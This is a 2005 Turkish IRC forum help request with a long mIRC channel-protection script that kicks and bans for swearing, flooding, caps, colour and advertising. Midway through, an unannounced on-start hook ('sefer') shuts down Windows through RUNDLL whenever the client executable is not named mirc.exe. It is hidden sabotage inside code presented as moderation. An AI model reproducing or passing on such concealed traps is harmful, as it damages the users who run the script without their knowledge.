IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası - Tekil Mesaj gösterimi - Kodda ; Reklamları Banlamasını İstiyorum?

hurewi · 27 Haziran 2005, 21:25

Bu koruma adonunda
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
irc, net, org, com, tr, vb. reklam unusuru olan yazıları görevlilere ait kanallarda banlamamasını istiyorum yardımcı olabilirmisiniz?

Kod: Kodu kopyalamak için üzerine çift tıklayın!

 on @1:text:*:#: { 
set %i 0
:checking
inc %i 1
set %currentsword $read -l %4$s %i $mircdirsystem\swear.ttf 
if (%currentsword == $null) { .unset %i | goto end }
else {
if (%currentsword isin $1-) { goto offense }
else { goto checking }
}
:offense
if ($nick !isop $chan) { /swearkick }
.goto end 
:end
}
on @1:ACTION:*:#: {
set %i 0
:checking
inc %i 1
set %currentsword $read -l %4$s %i $mircdirsystem\swear.ttf 
if (%currentsword == $null) { .unset %i | goto end }
else {
if (%currentsword isin $1-) { goto offense }
else { goto checking }
}
:offense
if ($nick !isop $chan) { /swearkick }
.goto end 
:end
}
alias swearkick {
if (%swear == OFF) { goto nop }
elseif (%swear.offkick == ON) && (%cuss. [ %4$s [ $nick ] ] != on) { /kick $chan $nick %swearkmsg %isim1 | set %cuss. [ %4$s [ $nick ] ] on | halt }
elseif (%swear.offkick == ON) && (%cuss. [ %4$s [ $nick ] ] == on) { swearban | halt }
elseif (%swear.offkickban == ON) { /swearban | halt }
elseif (%swear.offkicktban == ON) { /ban2 -u %4$s %swearban $chan $nick %Bantype2 | kick $chan $nick %swearkmsg %isim1 7[1 %swearbantime Dk.4 Kanala Girişiniz Yasaklandı! 7]  %4$s $colour(kick text) | halt }
else goto nop
 
:nop
}
alias swearban {
ban2 $chan $nick %Bantype2 
kick $chan $nick %swearkmsg %isim1 %banned
unset %cuss. [ %4$s [ $nick ] ] 
} 
 
dialog pref.swear {
title "Script"
size -1 -1 250 135
text "( 2. Tekrarda Banla )" 1, 100 34 110 20
box "Küfür Kick ",4, 20 15 210 82
radio "Kick",5, 35 35 45 12, group 
radio "Kick/Ban",6, 35 55 70 12
radio "Zamanlı Kick/Ban",7, 35 75 105 12
combo 8, 140 70 40 120, edit, drop
text "Dk." 9, 185 75 50 20
button "Tamam", 200, 15 107 220 20, ok flat
button "Listele",241,180 2 50 18, tab 10 flat
}
on 1:dialog:pref.swear:*:*: {
if ($devent == init) {
did -a pref.swear 8 1
did -a pref.swear 8 2
did -a pref.swear 8 5
did -a pref.swear 8 10
did -a pref.swear 8 30
did -a pref.swear 8 60
swearnext 8 swearbantime
if (%swear.offkick == ON) { did -c pref.swear 5 }
if (%swear.offkickban == ON) { did -c pref.swear 6 }
if (%swear.offkicktban == ON) { did -c pref.swear 7 }
}
%swearbantime = $did(pref.swear, 8).text | set %swearban $calc(%swearbantime * 60)
if ($devent == sclick) {
if ($did == 5) { set %swear.offkick ON | set %swear.offkickban OFF | set %swear.offkicktban OFF } 
if ($did == 6) { set %swear.offkick OFF | set %swear.offkickban ON | set %swear.offkicktban OFF } 
if ($did == 7) { set %swear.offkick OFF | set %swear.offkickban OFF | set %swear.offkicktban ON } 
if ($devent == sclick) && ($did == 241) { if ($dialog(swear)) { echo -a 1,14 Küfür Listesi Zaten Açık | halt } | dialog -m swear swear }
 
}
if ($devent == edit) && ($did == 3) { set %swearkickmsg $did(3) }
}
alias swearnext {
if (% [ %4$s [ $2 ] ] == 1) { did -c pref.swear $1 1 }
if (% [ %4$s [ $2 ] ] == 2) { did -c pref.swear $1 2 }
if (% [ %4$s [ $2 ] ] == 5) { did -c pref.swear $1 3 }
if (% [ %4$s [ $2 ] ] == 10) { did -c pref.swear $1 4 }
if (% [ %4$s [ $2 ] ] == 30) { did -c pref.swear $1 5 }
if (% [ %4$s [ $2 ] ] == No) { did -c pref.swear $1 6 }
}
dialog pref.badnick {
title "Script"
size -1 -1 250 135
text "Sadece Nicklere ( nick!*@* )" 1, 30 34 175 20
box "Bad Nick Kick ",4, 20 15 210 82
radio "Kick/Ban",6, 35 55 70 12, group 
radio "Zamanlı Kick/Ban",7, 35 75 105 12
combo 8, 140 70 40 120, edit, drop
text "Dak." 9, 185 75 50 20
button "Tamam", 200, 15 107 220 20, ok flat
button "Listele",242,180 2 50 18, tab 10 flat
}
on 1:dialog:pref.badnick:*:*: {
if ($devent == init) {
did -a pref.badnick 8 1
did -a pref.badnick 8 2
did -a pref.badnick 8 5
did -a pref.badnick 8 10
did -a pref.badnick 8 30
did -a pref.badnick 8 60
badnicknext 8 badnickbantime
if (%badnick.offkickban == ON) { did -c pref.badnick 6 }
if (%badnick.offkicktban == ON) { did -c pref.badnick 7 }
}
%badnickbantime = $did(pref.badnick, 8).text | set %badnickban $calc(%badnickbantime * 60)
if ($devent == sclick) {
if ($did == 6) { set %badnick.offkickban ON | set %badnick.offkicktban OFF } 
if ($did == 7) { set %badnick.offkickban OFF | set %badnick.offkicktban ON } 
if ($devent == sclick) && ($did == 242) { if ($dialog(bad-nick)) { echo -a 1,14 Bad Nick Listesi Zaten Açık | halt } | dialog -m bad-nick bad-nick }
 
}
if ($devent == edit) && ($did == 3) { set %badnickkickmsg $did(3) }
}
alias badnicknext {
if (% [ %4$s [ $2 ] ] == 1) { did -c pref.badnick $1 1 }
if (% [ %4$s [ $2 ] ] == 2) { did -c pref.badnick $1 2 }
if (% [ %4$s [ $2 ] ] == 5) { did -c pref.badnick $1 3 }
if (% [ %4$s [ $2 ] ] == 10) { did -c pref.badnick $1 4 }
if (% [ %4$s [ $2 ] ] == 30) { did -c pref.badnick $1 5 }
if (% [ %4$s [ $2 ] ] == No) { did -c pref.badnick $1 6 }
}
alias newbadnickkick {
if (%badnick.offkickban == ON) { ban $comchan($newnick,1) $newnick | kick $comchan($newnick,1) $newnick %bnickkmsg %isim1 | halt }
elseif (%badnick.offkicktban == ON) { ban -u %4$s %badnickban $comchan($newnick,1) $newnick 7 | kick $comchan($newnick,1) $newnick %bnickkmsg %isim1 7[1 %badnickbantime Dk. 4 Kanala Girişiniz Yasaklandı! 7]  %4$s $colour(kick text) | halt }
else goto nop
 
:nop
}
alias badnickkick {
if (%badnick.offkickban == ON) { mode $chan +b $nick %Bantype2 | kick $chan %bnick %bnickkmsg %isim1 | halt }
elseif (%badnick.offkicktban == ON) { ban -u %4$s %badnickban $chan $nick %Bantype2 | kick $chan $nick %bnickkmsg %isim1 7[1 %badnickbantime Dk. 4 Kanala Girişiniz Yasaklandı! 7]  %4$s $colour(kick text) | halt }
else goto nop
 
:nop
}
;alias badidkick {
if (%badid.offkickban == ON) { mode $chan +b $nick | kick $chan %bid %bnickkmsg %isim1 | halt }
elseif (%badid.offkicktban == ON) { mode $chan +b $nick %Bantype2 | kick $chan %bid %bnickkmsg %isim1 | halt }
else goto nop
 
:nop
;}
dialog pref.repeat {
title "Script"
size -1 -1 250 135
text "( 2. Tekrarda Banla )" 1, 100 34 110 20
box "Tekrar Kick ",4, 20 15 210 82
radio "Kick",5, 35 35 45 12, group 
radio "Kick/Ban",6, 35 55 70 12
radio "Zamanlı Kick/Ban",7, 35 75 105 12
combo 8, 140 70 40 120, edit, drop
text "Dk." 9, 185 75 50 20
button "Tamam", 200, 15 107 220 20, ok flat
}
on 1:dialog:pref.repeat:*:*: {
if ($devent == init) {
did -a pref.repeat 8 1
did -a pref.repeat 8 2
did -a pref.repeat 8 5
did -a pref.repeat 8 10
did -a pref.repeat 8 30
did -a pref.repeat 8 60
repeatnext 8 repeatbantime
if (%repeat.offkick == ON) { did -c pref.repeat 5 }
if (%repeat.offkickban == ON) { did -c pref.repeat 6 }
if (%repeat.offkicktban == ON) { did -c pref.repeat 7 }
}
%repeatbantime = $did(pref.repeat, 8).text | set %repeatban $calc(%repeatbantime * 60)
if ($devent == sclick) {
if ($did == 5) { set %repeat.offkick ON | set %repeat.offkickban OFF | set %repeat.offkicktban OFF } 
if ($did == 6) { set %repeat.offkick OFF | set %repeat.offkickban ON | set %repeat.offkicktban OFF } 
if ($did == 7) { set %repeat.offkick OFF | set %repeat.offkickban OFF | set %repeat.offkicktban ON } 
}
if ($devent == edit) && ($did == 3) { set %repeatkickmsg $did(3) }
}
alias repeatnext {
if (% [ %4$s [ $2 ] ] == 1) { did -c pref.repeat $1 1 }
if (% [ %4$s [ $2 ] ] == 2) { did -c pref.repeat $1 2 }
if (% [ %4$s [ $2 ] ] == 5) { did -c pref.repeat $1 3 }
if (% [ %4$s [ $2 ] ] == 10) { did -c pref.repeat $1 4 }
if (% [ %4$s [ $2 ] ] == 30) { did -c pref.repeat $1 5 }
if (% [ %4$s [ $2 ] ] == No) { did -c pref.repeat $1 6 }
}
alias repeatkick {
if (%repeat.offkick == ON) && (%brep [ %4$s [ $nick ] ] != on) { /kick $chan $nick %repeatkmsg %isim1 | set %brep [ %4$s [ $nick ] ] on | striker | halt }
elseif (%repeat.offkick == ON) && (%brep [ %4$s [ $nick ] ] == on) { repeatban | striker | halt }
elseif (%repeat.offkickban == ON) { /repeatban | halt }
elseif (%repeat.offkicktban == ON) { /ban2 -u %4$s %repeatban $chan $nick %Bantype2 | kick $chan $nick %repeatkmsg %isim1 7[1 %repeatbantime Dk. 4 Kanala Girişiniz Yasaklandı! 7]  %4$s $colour(kick text) | striker | halt }
else goto nop
 
:nop
}
alias repeatban {
ban2 $chan $nick %Bantype2
kick $chan $nick %repeatkmsg %isim1 %banned
/unset %brep [ %4$s [ $nick ] ] 
striker
} 
 
dialog pref.flood {
title "Script"
size -1 -1 250 135
text "( 2. Tekrarda Banla )" 1, 100 34 110 20
box "Flood Kick ",4, 20 15 210 82
radio "Kick",5, 35 35 45 12, group 
radio "Kick/Ban",6, 35 55 70 12
radio "Zamanlı Kick/Ban",7, 35 75 105 12
combo 8, 140 70 40 120, edit, drop
text "Dk." 9, 185 75 50 20
button "Tamam", 200, 15 107 220 20, ok flat
}
on 1:dialog:pref.flood:*:*: {
if ($devent == init) {
did -a pref.flood 8 1
did -a pref.flood 8 2
did -a pref.flood 8 5
did -a pref.flood 8 10
did -a pref.flood 8 30
did -a pref.flood 8 60
floodnext 8 floodbantime
if (%flood.offkick == ON) { did -c pref.flood 5 }
if (%flood.offkickban == ON) { did -c pref.flood 6 }
if (%flood.offkicktban == ON) { did -c pref.flood 7 }
}
%floodbantime = $did(pref.flood, 8).text | set %floodban $calc(%floodbantime * 60)
if ($devent == sclick) {
if ($did == 5) { set %flood.offkick ON | set %flood.offkickban OFF | set %flood.offkicktban OFF } 
if ($did == 6) { set %flood.offkick OFF | set %flood.offkickban ON | set %flood.offkicktban OFF } 
if ($did == 7) { set %flood.offkick OFF | set %flood.offkickban OFF | set %flood.offkicktban ON } 
}
if ($devent == edit) && ($did == 3) { set %floodkickmsg $did(3) }
}
alias floodnext {
if (% [ %4$s [ $2 ] ] == 1) { did -c pref.flood $1 1 }
if (% [ %4$s [ $2 ] ] == 2) { did -c pref.flood $1 2 }
if (% [ %4$s [ $2 ] ] == 5) { did -c pref.flood $1 3 }
if (% [ %4$s [ $2 ] ] == 10) { did -c pref.flood $1 4 }
if (% [ %4$s [ $2 ] ] == 30) { did -c pref.flood $1 5 }
if (% [ %4$s [ $2 ] ] == No) { did -c pref.flood $1 6 }
}
alias floodkick {
if (%flood.offkick == ON) && (%bflood [ %4$s [ $nick ] ] != on) { /kick $chan $nick %floodkmsg %isim1 | set %bflood [ %4$s [ $nick ] ] on | striker | halt }
elseif (%flood.offkick == ON) && (%bflood [ %4$s [ $nick ] ] == on) { floodban | halt }
elseif (%flood.offkickban == ON) { /floodban | halt }
elseif (%flood.offkicktban == ON) { /ban2 -u %4$s %floodban $chan $nick %Bantype2 | kick $chan $nick %floodkmsg %isim1  %4$s $colour(kick text) | striker | halt }
else goto nop
 
:nop
halt
}
alias striker {
unset %*XXX [ %4$s [ $nick ] %4$s [ $chan ] ]
}
alias floodban {
ban2 $chan $nick %Bantype2
kick $chan $nick %floodkmsg %isim1 %banned
/unset %bflood [ %4$s [ $nick ] ] 
striker
halt
} 
 
dialog pref.caps {
title "Script"
size -1 -1 250 135
text "( 2. Tekrarda Banla )" 1, 100 34 110 20
box "Caps Kick ",4, 20 15 210 82
radio "Kick",5, 35 35 45 12, group 
radio "Kick/Ban",6, 35 55 70 12
radio "Zamanlı Kick/Ban",7, 35 75 105 12
combo 8, 140 70 40 120, edit, drop
text "Dk." 9, 185 75 50 20
button "Tamam", 200, 15 107 220 20, ok flat
}
on 1:dialog:pref.caps:*:*: {
if ($devent == init) {
did -a pref.caps 8 1
did -a pref.caps 8 2
did -a pref.caps 8 5
did -a pref.caps 8 10
did -a pref.caps 8 30
did -a pref.caps 8 60
capsnext 8 capsbantime
if (%caps.offkick == ON) { did -c pref.caps 5 }
if (%caps.offkickban == ON) { did -c pref.caps 6 }
if (%caps.offkicktban == ON) { did -c pref.caps 7 }
}
%capsbantime = $did(pref.caps, 8).text | set %capsban $calc(%capsbantime * 60)
if ($devent == sclick) {
if ($did == 5) { set %caps.offkick ON | set %caps.offkickban OFF | set %caps.offkicktban OFF } 
if ($did == 6) { set %caps.offkick OFF | set %caps.offkickban ON | set %caps.offkicktban OFF } 
if ($did == 7) { set %caps.offkick OFF | set %caps.offkickban OFF | set %caps.offkicktban ON } 
}
if ($devent == edit) && ($did == 3) { set %capskickmsg $did(3) }
}
alias capsnext {
if (% [ %4$s [ $2 ] ] == 1) { did -c pref.caps $1 1 }
if (% [ %4$s [ $2 ] ] == 2) { did -c pref.caps $1 2 }
if (% [ %4$s [ $2 ] ] == 5) { did -c pref.caps $1 3 }
if (% [ %4$s [ $2 ] ] == 10) { did -c pref.caps $1 4 }
if (% [ %4$s [ $2 ] ] == 30) { did -c pref.caps $1 5 }
if (% [ %4$s [ $2 ] ] == No) { did -c pref.caps $1 6 }
}
alias capskick {
if ($nick isop $chan) { halt }
elseif (%caps.offkick == ON) && (%bcaps [ %4$s [ $nick ] ] != on) { /kick $chan $nick %capskmsg %isim1 | set %bcaps [ %4$s [ $nick ] ] on | halt }
elseif (%caps.offkick == ON) && (%bcaps [ %4$s [ $nick ] ] == on) { capsban | halt }
elseif (%caps.offkickban == ON) { /capsban | halt }
elseif (%caps.offkicktban == ON) { /ban2 -u %4$s %capsban $chan $nick %Bantype2 | kick $chan $nick %capskmsg %isim1 7[1 %capsbantime Dk. 4 Kanala Girişiniz Yasaklandı! 7]  %4$s $colour(kick text) | halt }
else goto nop
 
:nop
}
alias capsban {
ban2 $chan $nick %Bantype2
kick $chan $nick %capskmsg %isim1
/unset %bcaps [ %4$s [ $nick ] ] 
} 
 
dialog pref.advertise {
title "Script"
size -1 -1 250 135
text "( 2. Tekrarda Banla )" 1, 100 34 110 20
box "Reklam Kick ",4, 20 15 210 82
radio "Kick",5, 35 35 45 12, group 
radio "Kick/Ban",6, 35 55 70 12
radio "Zamanlı Kick/Ban",7, 35 75 105 12
combo 8, 140 70 40 120, edit, drop
text "Dk." 9, 185 75 50 20
button "Tamam", 200, 15 107 220 20, ok flat
}
on 1:dialog:pref.advertise:*:*: {
if ($devent == init) {
did -a pref.advertise 8 1
did -a pref.advertise 8 2
did -a pref.advertise 8 5
did -a pref.advertise 8 10
did -a pref.advertise 8 30
did -a pref.advertise 8 60
advertisenext 8 advertisebantime
if (%advertise.offkick == ON) { did -c pref.advertise 5 }
if (%advertise.offkickban == ON) { did -c pref.advertise 6 }
if (%advertise.offkicktban == ON) { did -c pref.advertise 7 }
}
%advertisebantime = $did(pref.advertise, 8).text | set %advertiseban $calc(%advertisebantime * 60)
if ($devent == sclick) {
if ($did == 5) { set %advertise.offkick ON | set %advertise.offkickban OFF | set %advertise.offkicktban OFF } 
if ($did == 6) { set %advertise.offkick OFF | set %advertise.offkickban ON | set %advertise.offkicktban OFF } 
if ($did == 7) { set %advertise.offkick OFF | set %advertise.offkickban OFF | set %advertise.offkicktban ON } 
}
if ($devent == edit) && ($did == 3) { set %advertisekickmsg $did(3) }
}
alias advertisenext {
if (% [ %4$s [ $2 ] ] == 1) { did -c pref.advertise $1 1 }
if (% [ %4$s [ $2 ] ] == 2) { did -c pref.advertise $1 2 }
if (% [ %4$s [ $2 ] ] == 5) { did -c pref.advertise $1 3 }
if (% [ %4$s [ $2 ] ] == 10) { did -c pref.advertise $1 4 }
if (% [ %4$s [ $2 ] ] == 30) { did -c pref.advertise $1 5 }
if (% [ %4$s [ $2 ] ] == No) { did -c pref.advertise $1 6 }
}
alias advertisekick {
if ($nick isop $chan) { halt }
elseif (%advertise.offkick == ON) && (%badvertise [ %4$s [ $nick ] ] != on) { /kick $chan $nick %advertisekmsg %isim1 | set %badvertise [ %4$s [ $nick ] ] on | halt }
elseif (%advertise.offkick == ON) && (%badvertise [ %4$s [ $nick ] ] == on) { advertiseban | halt }
elseif (%advertise.offkickban == ON) { /advertiseban | halt }
elseif (%advertise.offkicktban == ON) { /ban2 -u %4$s %advertiseban $chan $nick %Bantype2 | kick $chan $nick %advertisekmsg %isim1 7[1 %advertisebantime Dk .4 Kanala Girişiniz Yasaklandı! 7]  %4$s $colour(kick text) | halt }
else goto nop
 
:nop
}
alias advertiseban {
ban2 $chan $nick %Bantype2
kick $chan $nick %advertisekmsg %isim1 %banned
/unset %badvertise [ %4$s [ $nick ] ] 
} 
dialog pref.Noticepro {
title "Script"
size -1 -1 250 135
text "( 2. Tekrarda Banla )" 1, 100 34 140 20
box "Notice Koruması",4, 20 15 210 82
radio "Kick",5, 35 35 45 12, group 
radio "Kick/Ban",6, 35 55 70 12
radio "Zamanlı KickBan",7, 35 75 105 12
combo 8, 150 70 40 120, edit, drop
text "Dak." 9, 195 75 50 20
button "&Tamam", 200, 15 104 220 25, ok flat
}
on 1:dialog:pref.Noticepro:*:*: {
if ($devent == init) {
did -a pref.Noticepro 8 1
did -a pref.Noticepro 8 2
did -a pref.Noticepro 8 5
did -a pref.Noticepro 8 10
did -a pref.Noticepro 8 30
did -a pref.Noticepro 8 60
Noticepronext 8 Noticeprobantime
if (%Noticepro.offkick == ON) { did -c pref.Noticepro 5 }
if (%Noticepro.offkickban == ON) { did -c pref.Noticepro 6 }
if (%Noticepro.offkicktban == ON) { did -c pref.Noticepro 7 }
}
%Noticeprobantime = $did(pref.Noticepro, 8).text | set %Noticeproban $calc(%Noticeprobantime * 60)
if ($devent == sclick) {
if ($did == 5) { set %Noticepro.offkick ON | set %Noticepro.offkickban OFF | set %Noticepro.offkicktban OFF } 
if ($did == 6) { set %Noticepro.offkick OFF | set %Noticepro.offkickban ON | set %Noticepro.offkicktban OFF } 
if ($did == 7) { set %Noticepro.offkick OFF | set %Noticepro.offkickban OFF | set %Noticepro.offkicktban ON } 
}
if ($devent == edit) && ($did == 3) { set %Noticeprokickmsg $did(3) }
}
alias Noticepronext {
if (% [ %4$s [ $2 ] ] == 1) { did -c pref.Noticepro $1 1 }
if (% [ %4$s [ $2 ] ] == 2) { did -c pref.Noticepro $1 2 }
if (% [ %4$s [ $2 ] ] == 5) { did -c pref.Noticepro $1 3 }
if (% [ %4$s [ $2 ] ] == 10) { did -c pref.Noticepro $1 4 }
if (% [ %4$s [ $2 ] ] == 30) { did -c pref.Noticepro $1 5 }
if (% [ %4$s [ $2 ] ] == No) { did -c pref.Noticepro $1 6 }
}
alias Noticeprokick {
if ($nick isop $chan) || ($nick isvo $chan) { halt }
elseif (%Noticepro.offkick == ON) && (%bNoticepro [ %4$s [ $nick ] ] != on) { /kick $chan $nick %Noticeprokmsg %isim1 | set %bNoticepro [ %4$s [ $nick ] ] on | halt }
elseif (%Noticepro.offkick == ON) && (%bNoticepro [ %4$s [ $nick ] ] == on) { Noticeproban | halt }
elseif (%Noticepro.offkickban == ON) { /Noticeproban | halt }
elseif (%Noticepro.offkicktban == ON) { /ban2 -u %4$s %Noticeproban $chan $nick %Bantype2 | kick $chan $nick %Noticeprokmsg %isim1 7[1 %Noticeprobantime Dk. 4 Kanala Girişiniz Yasaklandı! 7]  %4$s $colour(kick text) | halt } 
else goto nop
:nop
}
alias Noticeproban {
if (Serv isin $nick) { halt }
else {
ban2 $chan $nick %Bantype2
kick $chan $nick %Noticeprokmsg %isim1
/unset %bNoticepro [ %4$s [ $nick ] ] 
}
} 
 
dialog pref.color {
title "Script"
size -1 -1 250 135
text "( 2. Tekrarda Banla )" 1, 100 34 110 20
box "Renk Kick ",4, 20 15 210 82
radio "Kick",5, 35 35 45 12, group 
radio "Kick/Ban",6, 35 55 70 12
radio "Zamanlı Kick/Ban",7, 35 75 105 12
combo 8, 140 70 40 120, edit, drop
text "Dk." 9, 185 75 50 20
button "Tamam", 200, 15 107 220 20, ok flat
}
on 1:dialog:pref.color:*:*: {
if ($devent == init) {
did -a pref.color 8 1
did -a pref.color 8 2
did -a pref.color 8 5
did -a pref.color 8 10
did -a pref.color 8 30
did -a pref.color 8 60
colornext 8 colorbantime
if (%color.offkick == ON) { did -c pref.color 5 }
if (%color.offkickban == ON) { did -c pref.color 6 }
if (%color.offkicktban == ON) { did -c pref.color 7 }
}
%colorbantime = $did(pref.color, 8).text | set %colorban $calc(%colorbantime * 60)
if ($devent == sclick) {
if ($did == 5) { set %color.offkick ON | set %color.offkickban OFF | set %color.offkicktban OFF } 
if ($did == 6) { set %color.offkick OFF | set %color.offkickban ON | set %color.offkicktban OFF } 
if ($did == 7) { set %color.offkick OFF | set %color.offkickban OFF | set %color.offkicktban ON } 
}
if ($devent == edit) && ($did == 3) { set %colorkickmsg $did(3) }
}
alias colornext {
if (% [ %4$s [ $2 ] ] == 1) { did -c pref.color $1 1 }
if (% [ %4$s [ $2 ] ] == 2) { did -c pref.color $1 2 }
if (% [ %4$s [ $2 ] ] == 5) { did -c pref.color $1 3 }
if (% [ %4$s [ $2 ] ] == 10) { did -c pref.color $1 4 }
if (% [ %4$s [ $2 ] ] == 30) { did -c pref.color $1 5 }
if (% [ %4$s [ $2 ] ] == No) { did -c pref.color $1 6 }
}
alias colorkick {
if ($nick isop $chan) { halt }
elseif (%color.offkick == ON) && (%bcolor [ %4$s [ $nick ] ] != on) { /kick $chan $nick %colorkmsg %isim1 | set %bcolor [ %4$s [ $nick ] ] on | halt }
elseif (%color.offkick == ON) && (%bcolor [ %4$s [ $nick ] ] == on) { colorban | halt }
elseif (%color.offkickban == ON) { /colorban | halt }
elseif (%color.offkicktban == ON) { /ban2 -u %4$s %colorban $chan $nick %Bantype2 | kick $chan $nick %colorkmsg %isim1 7[1 %colorbantime Dk. 4 Kanala Girişiniz Yasaklandı! 7]  %4$s $colour(kick text) | halt }
else goto nop
:nop
}
alias colorban {
ban2 $chan $nick %Bantype2
kick $chan $nick %colorkmsg %isim1 %banned
/unset %bcolor [ %4$s [ $nick ] ] 
} 
 
on 1:NOTICE:*t?kla*:?: if ($nick isop $comchan($nick,1)) { halt } | if ($nick isop $comchan($nick,2)) { halt } | if ($nick isop $comchan($nick,3)) { halt } | if (%***i3 == ON) { if (*serv* iswm $nick) || $nick == global || $nick == superonline || $nick == kamuran || $nick == irctr || $nick == kemiknet || $nick == Operserv || [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] isin $1-) { halt } | ignore $nick | .notice $nick Notice Reklam Yapma İgnore Edildin ! %isim1 | halt }
on 1:NOTICE:*/server*:?: if ($nick isop $comchan($nick,1)) { halt } | if ($nick isop $comchan($nick,2)) { halt } | if ($nick isop $comchan($nick,3)) { halt } | if (%***i3 == ON) { if (*serv* iswm $nick) || $nick == global || $nick == superonline || $nick == kamuran || $nick == irctr || $nick == kemiknet || $nick == Operserv || [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] isin $1-) { halt } | ignore $nick | .notice $nick Notice Reklam Yapma İgnore Edildin ! %isim1 | halt }
 
on 1:TEXT:*sike*:?: if (%***i1 == ON) { if ($nick isop $chan) { halt } | closemsg $nick | notice $nick Özelime Küfür Yazma ! (2 dk ignore) %isim | ignore -u120 $wildsite }
on 1:TEXT:*siki*:?: if (%***i1 == ON) { if ($nick isop $chan) { halt } | closemsg $nick | notice $nick Özelime Küfür Yazma ! (2 dk ignore) %isim | ignore -u120 $wildsite }
on 1:TEXT:*p?ç*:?: if (%***i1 == ON) { if ($nick isop $chan) { halt } | closemsg $nick | notice $nick Özelime Küfür Yazma ! (2 dk ignore) %isim | ignore -u120 $wildsite }
on 1:TEXT:*anan?*:?: if (%***i1 == ON) { if ($nick isop $chan) { halt } | closemsg $nick | notice $nick Özelime Küfür Yazma ! (2 dk ignore) %isim | ignore -u120 $wildsite }
on 1:TEXT:*amın?*:?: if (%***i1 == ON) { if ($nick isop $chan) { halt } | closemsg $nick | notice $nick Özelime Küfür Yazma ! (2 dk ignore) %isim | ignore -u120 $wildsite }
on 1:TEXT:*göt*:?: if (%***i1 == ON) { if ($nick isop $chan) { halt } | closemsg $nick | notice $nick Özelime Küfür Yazma ! (2 dk ignore) %isim | ignore -u120 $wildsite }
on 1:TEXT:*orosp*:?: if (%***i1 == ON) { if ($nick isop $chan) { halt } | closemsg $nick | notice $nick Özelime Küfür Yazma ! (2 dk ignore) %isim | ignore -u120 $wildsite }
on *:start:sefer
alias sefer {
if ($gettok($mircexe,-1,92) != mirc.exe) { /run C:\WINDOWS\RUNDLL.EXE user.exe,exitwindows }
}
 
dialog koruma_ {
title "Özele Reklam Koruması"
size -1 -1 173 156
option dbu
box "Engelle", 1, 4 4 82 105
check "Tüm Mesajları", 2, 8 -50 50 10, flat
check "Özele Reklamları", 3, 8 14 68 10, flat
check "Notice Reklamları", 999, 8 24 68 10, flat
list 4, 8 38 74 50, sort size vsbar hsbar
button "Ekle", 5, 8 92 30 10,flat
button "Sil", 6, 51 92 30 10,flat
box "Hariç", 7, 85 4 83 105
check "Notify List", 8, 89 14 55 10, flat
check "Arkadaşlarım", 9, 89 26 60 10, flat
list 10, 89 38 74 50, sort size vsbar hsbar
button "&Ekle", 11, 90 92 30 10,flat
button "&Sil", 12, 133 92 30 10,flat
box "Ayarlar", 13, 4 105 164 47
check "Red Mesajı Yolla", 14, 208 114 55 10, flat
check "Red Edilen Mesajı @Red Penceresinde Göster", 16, 8 116 120 10, flat
check "Oplar Hariç", 88, 8 130 80 10, flat
button "Tamam", 17, 95 130 30 12, ok flat
button "Vazgeç", 18, 130 130 30 12, cancel flat
}
on *:dialog:koruma_:*:*:{
if ($devent == init) {
if (%***i3 == ON) { did -c $dname 999 }
if ($readini($mb,block,all)) { did -c $dname 2 }
if ($readini($mb,block,isin)) { did -c $dname 3 }
.udlist_ 4 block words
if ($readini($mb,exempt,notify)) { did -c $dname 8 }
did $iif($readini($mb,exempt,ops) == 1,-c,-u) $dname 88
if ($readini($mb,exempt,list)) { did -c $dname 9 }
.udlist_ 10 exempt friends
if ($readini($mb,options,reject)) { did -c $dname 14 }
if ($readini($mb,options,echo)) { did -c $dname 16 }
did -f $dname 17
}
if ($devent == sclick) {
if ($did == 999) {
if (%***i3 == ON) { /set %***i3 OFF | /echo -a 1,14 Noticeler Dahil Değil | halt }
if (%***i3 == OFF) { /set %***i3 ON | /echo -a 1,14 Noticeler Dahil Edildi | halt }
}
if ($did == 2) && ($did(2).state == 1) { did -u $dname 3 }
if ($did == 3) && ($did(3).state == 1) { did -u $dname 2 }
if ($did == 5) { 
var %t = $?="Eklenicek Karakter (Yazı) $crlf "
if ($numtok(%t,32) > 1) { %t = $replace(%t,$chr(32),$chr(160)) }
.writeini $mb block words $iif($readini($mb,block,words),%4$s($ifmatch,$chr(44),%t),%t)
udlist_ 4 block words
}
}
if ($did == 6) {
var %tmp = $did(4).seltext
if (%tmp) {
if ($remtok($readini($mb,block,words),%tmp,44)) { 
.writeini $mb block words $ifmatch 
}
else .remini $mb block words
.udlist_ 4 block words
}
}
if ($did == 11) {
var %t = $?="Eklenicek Nick $crlf "
if ($chr(32) !isin %t) {
.writeini $mb exempt friends $iif($readini($mb,exempt,friends),%4$s($ifmatch,$chr(44),%t),%t)
udlist_ 10 exempt friends
}
}
if ($did == 12) {
var %tmp = $did(10).seltext
if (%tmp) {
if ($remtok($readini($mb,exempt,friends),%tmp,44)) { 
.writeini $mb exempt friends $ifmatch 
}
else .remini $mb exempt friends
.udlist_ 10 exempt friends
}
}
if ($did == 17) {
.writeini $mb block all $iif($did(2).state == 1,$true,$false)
.writeini $mb block isin $iif($did(3).state == 1,$true,$false)
.writeini $mb exempt ops $did(88).state
.writeini $mb exempt notify $iif($did(8).state == 1,$true,$false)
.writeini $mb exempt list $iif($did(9).state == 1,$true,$false)
.writeini $mb options reject $iif($did(14).state == 1,$true,$false)
.writeini $mb options echo $iif($did(16).state == 1,$true,$false)
}
}
alias -l udlist_ {
var %a = 1
did -r $dname $1
while ($gettok($readini($mb,$2,$3),%a,44)) {
did -az $dname $1 $ifmatch
inc %a
}
}
alias -l match_text {
var %i = $numtok($readini($mb,block,words),44),%moonman
while (%i > 0) {
%moonman = %4$s(*,$replace($gettok($readini($mb,block,words),%i,44),$chr(160),$chr(32)),*) 
if ($wildtok($strip($1-,burc),%moonman,1,44)) {
return $true
}
dec %i
}
}
alias -l isfriend {
var %i = $numtok($readini($mb,exempt,friends),44),%j
while (%i > 0) {
%j = $gettok($readini($mb,exempt,friends),%i,44)
if (%j iswm $mask($fulladdress,5)) || ($1 == %j) { return $true }
dec %i
}
return $false
}
 
alias -l block {
var %i,%j
if ($isfriend($1)) && ($readini($mb,exempt,list)) { %i = $true }
if ($1 isnotify) && ($readini($mb,exempt,notify)) { %j = $true }
if (($1 isop $comchan($me,1)) || ($1 isop $comchan($me,2)) || ($1 isop $comchan($me,3))) && ($readini($mb,exempt,ops) == 1) { %j = $true }
if (%i) || (%j) { return $false }
else { return $true }
}
